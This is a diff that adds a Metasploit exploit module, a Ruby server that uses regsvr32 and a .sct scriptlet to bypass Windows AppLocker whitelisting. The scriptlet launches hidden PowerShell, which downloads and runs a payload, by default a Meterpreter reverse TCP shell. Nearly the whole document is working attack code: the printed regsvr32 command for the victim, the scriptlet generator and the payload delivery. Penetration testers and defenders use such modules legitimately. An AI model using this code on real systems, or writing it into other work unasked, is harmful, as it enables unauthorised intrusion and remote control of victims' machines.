Landing rapid7#6961 Regsvr32 SCT App Whitelist Bypass Server

by @kn0

rts

Author: mubix

modules/exploits/windows/misc/regsvr32_applocker_bypass_server.rb

@@ -0,0 +1,96 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ManualRanking
+
+  include Msf::Exploit::Powershell
+  include Msf::Exploit::Remote::HttpServer
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'         => 'Regsvr32.exe (.sct) Application Whitelisting Bypass Server',
+      'Description'  => %q(
+        This module simplifies the Regsvr32.exe Application Whitelisting Bypass technique.
+        The module creates a web server that hosts an .sct file. When the user types the provided regsvr32
+        command on a system, regsvr32 will request the .sct file and then execute the included PowerShell command.
+        This command then downloads and executes the specified payload (similar to the web_delivery module with PSH).
+        Both web requests (i.e., the .sct file and PowerShell download and execute) can occur on the same port.
+      ),
+      'License'      => MSF_LICENSE,
+      'Author'       =>
+        [
+          'Casey Smith',  # AppLocker bypass research and vulnerability discovery (@subTee)
+          'Trenton Ivey', # MSF Module (kn0)
+        ],
+      'DefaultOptions' =>
+        {
+          'Payload'    => 'windows/meterpreter/reverse_tcp'
+        },
+      'Targets'        => [['PSH', {}]],
+      'Platform'       => %w(win),
+      'Arch' => [ARCH_X86, ARCH_X86_64],
+      'DefaultTarget'  => 0,
+      'DisclosureDate' => 'Apr 19 2016',
+      'References'     =>
+        [
+          ['URL', 'http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html']
+        ]
+    ))
+  end
+
+
+  def primer
+    print_status('Run the following command on the target machine:')
+    print_line("regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll")
+  end
+
+
+  def on_request_uri(cli, _request)
+    # If the resource request ends with '.sct', serve the .sct file
+    #   Otherwise, serve the PowerShell payload
+    if _request.raw_uri =~ /\.sct$/
+      serve_sct_file
+    else
+      serve_psh_payload
+    end
+  end
+
+
+  def serve_sct_file
+    print_status("Handling request for the .sct file from #{cli.peerhost}")
+    ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
+    download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)
+    download_and_run = "#{ignore_cert}#{download_string}"
+    psh_command = generate_psh_command_line(
+      noprofile: true,
+      windowstyle: 'hidden',
+      command: download_and_run
+    )
+    data = gen_sct_file(psh_command)
+    send_response(cli, data, 'Content-Type' => 'text/plain')
+  end
+
+
+  def serve_psh_payload
+    print_status("Delivering payload to #{cli.peerhost}")
+    data = cmd_psh_payload(payload.encoded,
+      payload_instance.arch.first,
+      remove_comspec: true,
+      use_single_quotes: true
+    )
+    send_response(cli,data,'Content-Type' => 'application/octet-stream')
+  end
+
+
+  def rand_class_id
+    "#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
+  end
+
+  def gen_sct_file(command)
+    %{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
+  end
+
+end